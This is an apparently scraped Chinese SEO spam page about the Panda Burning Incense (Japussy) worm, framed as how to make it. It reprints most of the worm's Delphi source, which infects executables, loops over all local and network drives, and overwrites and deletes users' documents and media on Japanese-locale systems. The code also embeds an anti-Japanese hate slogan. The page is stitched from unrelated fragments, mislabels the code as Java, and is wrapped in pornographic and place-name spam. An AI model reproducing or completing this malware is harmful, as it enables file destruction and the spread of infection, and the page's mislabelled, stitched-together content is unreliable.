中文字幕日韩精品一区二区免费_精品一区二区三区国产精品无卡在_国精品无码专区一区二区三区_国产αv三级中文在线

熊貓燒香java代碼的簡單介紹

熊貓燒香病毒程序,用的是那種語言和哪款開發(fā)軟件,編寫而成的

您好,熊貓燒香是用delphi編寫,開發(fā)軟件并沒有報道。

創(chuàng)新互聯(lián)公司-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設、高性價比義縣網(wǎng)站開發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式義縣網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設找我們,業(yè)務覆蓋義縣地區(qū)。費用合理售后完善,10余年實體公司更值得信賴。

現(xiàn)在騰訊電腦管家能有效防止熊貓燒香的入侵,在電腦管家的保護下,您可以安全的使用您的電腦,不用擔心電腦被熊貓燒香侵害。

電腦管家下載地址:騰訊電腦管家官網(wǎng)

希望可以幫到您,望采納

騰訊電腦管家企業(yè)平臺:

熊貓燒香病毒是怎么做的

想要做熊貓燒香,就要學會編程,熊貓燒香是用Delphi編寫出來的,想做就要學Delphi了.

以下是熊貓燒香代碼:

program japussy;

uses

windows, sysutils, classes, graphics, shellapi{, registry};

const

headersize = 82432; //病毒體的大小

iconoffset = $12eb8; //pe文件主圖標的偏移量

//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同

//查找2800000020的十六進制字符串可以找到主圖標的偏移量

{

headersize = 38912; //upx壓縮過病毒體的大小

iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe

}

iconsize = $2e8; //pe文件主圖標的大小--744字節(jié)

icontail = iconoffset + iconsize; //pe文件主圖標的尾部

id = $44444444; //感染標記

//垃圾碼,以備寫入

catchword = 'if a race need to be killed out, it must be yamato. ' +

'if a country need to be destroyed, it must be japan! ' +

'*** w32.japussy.worm.a ***';

{$r *.res}

function registerserviceprocess(dwprocessid, dwtype: integer): integer;

stdcall; external 'kernel32.dll'; //函數(shù)聲明

var

tmpfile: string;

si: startupinfo;

pi: process_information;

isjap: boolean = false; //日文操作系統(tǒng)標記

{ 判斷是否為win9x }

function iswin9x: boolean;

var

ver: tosversioninfo;

begin

result := false;

ver.dwosversioninfosize := sizeof(tosversioninfo);

if not getversionex(ver) then

exit;

if (ver.dwplatformid = ver_platform_win32_windows) then //win9x

result := true;

end;

{ 在流之間復制 }

procedure copystream(src: tstream; sstartpos: integer; dst: tstream;

dstartpos: integer; count: integer);

var

scurpos, dcurpos: integer;

begin

scurpos := src.position;

dcurpos := dst.position;

src.seek(sstartpos, 0);

dst.seek(dstartpos, 0);

dst.copyfrom(src, count);

src.seek(scurpos, 0);

dst.seek(dcurpos, 0);

end;

{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }

procedure extractfile(filename: string);

var

sstream, dstream: tfilestream;

begin

try

sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);

try

dstream := tfilestream.create(filename, fmcreate);

try

sstream.seek(headersize, 0); //跳過頭部的病毒部分

dstream.copyfrom(sstream, sstream.size - headersize);

finally

dstream.free;

end;

finally

sstream.free;

end;

except

end;

end;

{ 填充startupinfo結構 }

procedure fillstartupinfo(var si: startupinfo; state: word);

begin

si.cb := sizeof(si);

si.lpreserved := nil;

si.lpdesktop := nil;

si.lptitle := nil;

si.dwflags := startf_useshowwindow;

si.wshowwindow := state;

si.cbreserved2 := 0;

si.lpreserved2 := nil;

end;

{ 發(fā)帶毒郵件 }

procedure sendmail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染pe文件 }

procedure infectonefile(filename: string);

var

hdrstream, srcstream: tfilestream;

icostream, dststream: tmemorystream;

iid: longint;

aicon: ticon;

infected, ispe: boolean;

i: integer;

buf: array[0..1] of char;

begin

try //出錯則文件正在被使用,退出

if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染

exit;

infected := false;

ispe := false;

srcstream := tfilestream.create(filename, fmopenread);

try

for i := 0 to $108 do //檢查pe文件頭

begin

srcstream.seek(i, sofrombeginning);

srcstream.read(buf, 2);

if (buf[0] = #80) and (buf[1] = #69) then //pe標記

begin

ispe := true; //是pe文件

break;

end;

end;

srcstream.seek(-4, sofromend); //檢查感染標記

srcstream.read(iid, 4);

if (iid = id) or (srcstream.size 10240) then //太小的文件不感染

infected := true;

finally

srcstream.free;

end;

if infected or (not ispe) then //如果感染過了或不是pe文件則退出

exit;

icostream := tmemorystream.create;

dststream := tmemorystream.create;

try

aicon := ticon.create;

try

//得到被感染文件的主圖標(744字節(jié)),存入流

aicon.releasehandle;

aicon.handle := extracticon(hinstance, pchar(filename), 0);

aicon.savetostream(icostream);

finally

aicon.free;

end;

srcstream := tfilestream.create(filename, fmopenread);

//頭文件

hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);

try

//寫入病毒體主圖標之前的數(shù)據(jù)

copystream(hdrstream, 0, dststream, 0, iconoffset);

//寫入目前程序的主圖標

copystream(icostream, 22, dststream, iconoffset, iconsize);

//寫入病毒體主圖標到病毒體尾部之間的數(shù)據(jù)

copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);

//寫入宿主程序

copystream(srcstream, 0, dststream, headersize, srcstream.size);

//寫入已感染的標記

dststream.seek(0, 2);

iid := $44444444;

dststream.write(iid, 4);

finally

hdrstream.free;

end;

finally

srcstream.free;

icostream.free;

dststream.savetofile(filename); //替換宿主文件

dststream.free;

end;

except;

end;

end;

{ 將目標文件寫入垃圾碼后刪除 }

procedure smashfile(filename: string);

var

filehandle: integer;

i, size, mass, max, len: integer;

begin

try

setfileattributes(pchar(filename), 0); //去掉只讀屬性

filehandle := fileopen(filename, fmopenwrite); //打開文件

try

size := getfilesize(filehandle, nil); //文件大小

i := 0;

randomize;

max := random(15); //寫入垃圾碼的隨機次數(shù)

if max 5 then

max := 5;

mass := size div max; //每個間隔塊的大小

len := length(catchword);

while i max do

begin

fileseek(filehandle, i * mass, 0); //定位

//寫入垃圾碼,將文件徹底破壞掉

filewrite(filehandle, catchword, len);

inc(i);

end;

finally

fileclose(filehandle); //關閉文件

end;

deletefile(pchar(filename)); //刪除之

except

end;

end;

{ 獲得可寫的驅(qū)動器列表 }

function getdrives: string;

var

disktype: word;

d: char;

str: string;

i: integer;

begin

for i := 0 to 25 do //遍歷26個字母

begin

d := chr(i + 65);

str := d + ':\';

disktype := getdrivetype(pchar(str));

//得到本地磁盤和網(wǎng)絡盤

if (disktype = drive_fixed) or (disktype = drive_remote) then

result := result + d;

end;

end;

{ 遍歷目錄,感染和摧毀文件 }

procedure loopfiles(path, mask: string);

var

i, count: integer;

fn, ext: string;

subdir: tstrings;

searchrec: tsearchrec;

msg: tmsg;

function isvaliddir(searchrec: tsearchrec): integer;

begin

if (searchrec.attr 16) and (searchrec.name '.') and

(searchrec.name '..') then

result := 0 //不是目錄

else if (searchrec.attr = 16) and (searchrec.name '.') and

(searchrec.name '..') then

result := 1 //不是根目錄

else result := 2; //是根目錄

end;

begin

if (findfirst(path + mask, faanyfile, searchrec) = 0) then

begin

repeat

peekmessage(msg, 0, 0, 0, pm_remove); //調(diào)整消息隊列,避免引起懷疑

if isvaliddir(searchrec) = 0 then

begin

fn := path + searchrec.name;

ext := uppercase(extractfileext(fn));

if (ext = '.exe') or (ext = '.scr') then

begin

infectonefile(fn); //感染可執(zhí)行文件

end

else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then

begin

//感染html和asp文件,將base64編碼后的病毒寫入

//感染瀏覽此網(wǎng)頁的所有用戶

//哪位大兄弟愿意完成之?

end

else if ext = '.wab' then //outlook地址簿文件

begin

//獲取outlook郵件地址

end

else if ext = '.adc' then //foxmail地址自動完成文件

begin

//獲取foxmail郵件地址

end

else if ext = 'ind' then //foxmail地址簿文件

begin

//獲取foxmail郵件地址

end

else

begin

if isjap then //是倭文操作系統(tǒng)

begin

if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or

(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or

(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or

(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or

(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or

(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then

smashfile(fn); //摧毀文件

end;

end;

end;

//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑

sleep(200);

until (findnext(searchrec) 0);

end;

findclose(searchrec);

subdir := tstringlist.create;

if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then

begin

repeat

if isvaliddir(searchrec) = 1 then

subdir.add(searchrec.name);

until (findnext(searchrec) 0);

end;

findclose(searchrec);

count := subdir.count - 1;

for i := 0 to count do

loopfiles(path + subdir.strings + '\', mask);

freeandnil(subdir);

end;

{ 遍歷磁盤上所有的文件 }

procedure infectfiles;

var

driverlist: string;

i, len: integer;

begin

if getacp = 932 then //日文操作系統(tǒng)

isjap := true; //去死吧!

driverlist := getdrives; //得到可寫的磁盤列表

len := length(driverlist);

while true do //死循環(huán)

begin

for i := len downto 1 do //遍歷每個磁盤驅(qū)動器

loopfiles(driverlist + ':\', '*.*'); //感染之

sendmail; //發(fā)帶毒郵件

sleep(1000 * 60 * 5); //睡眠5分鐘

end;

end;

{ 主程序開始 }

begin

if iswin9x then //是win9x

registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程

else //winnt

begin

//遠程線程映射到explorer進程

//哪位兄臺愿意完成之?

end;

//如果是原始病毒體自己

if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then

infectfiles //感染和發(fā)郵件

else //已寄生于宿主程序上了,開始工作

begin

tmpfile := paramstr(0); //創(chuàng)建臨時文件

delete(tmpfile, length(tmpfile) - 4, 4);

tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格

extractfile(tmpfile); //分離之

fillstartupinfo(si, sw_showdefault);

createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,

0, nil, '.', si, pi); //創(chuàng)建新進程運行之

infectfiles; //感染和發(fā)郵件

熊貓燒香是用什么編程語言寫的?

熊貓燒香的開發(fā)工具為Delphi

核心源碼片段:

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒體的大小

IconOffset = $12EB8; //PE文件主圖標的偏移量

...... 其實是什么代碼寫的不重要,需要了解基本原理。

熊貓燒香的病毒是用什么語言編譯的,代碼現(xiàn)在還有用嗎

熊貓燒香”病毒是用DELPHI寫的,但是用VB和VC都可以還原病毒樣本,想要重新運行是不可能的,所有的安全狗都會攔截

網(wǎng)頁名稱:熊貓燒香java代碼的簡單介紹
文章源于:http://www.rwnh.cn/article38/ddgogsp.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供ChatGPT、營銷型網(wǎng)站建設、品牌網(wǎng)站建設全網(wǎng)營銷推廣、用戶體驗、手機網(wǎng)站建設

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

微信小程序開發(fā)
和顺县| 阿坝| 顺平县| 和平区| 新丰县| 宁德市| 平远县| 张家港市| 衢州市| 九台市| 惠来县| 山东| 松桃| 高雄县| 黄大仙区| 虹口区| 宝兴县| 南丰县| 甘泉县| 大竹县| 承德县| 同江市| 平阳县| 尤溪县| 高雄县| 固安县| 汽车| 江门市| 平山县| 安达市| 呼玛县| 浦东新区| 满洲里市| 青河县| 万全县| 长海县| 合肥市| 津南区| 鄂托克旗| 蛟河市| 江北区|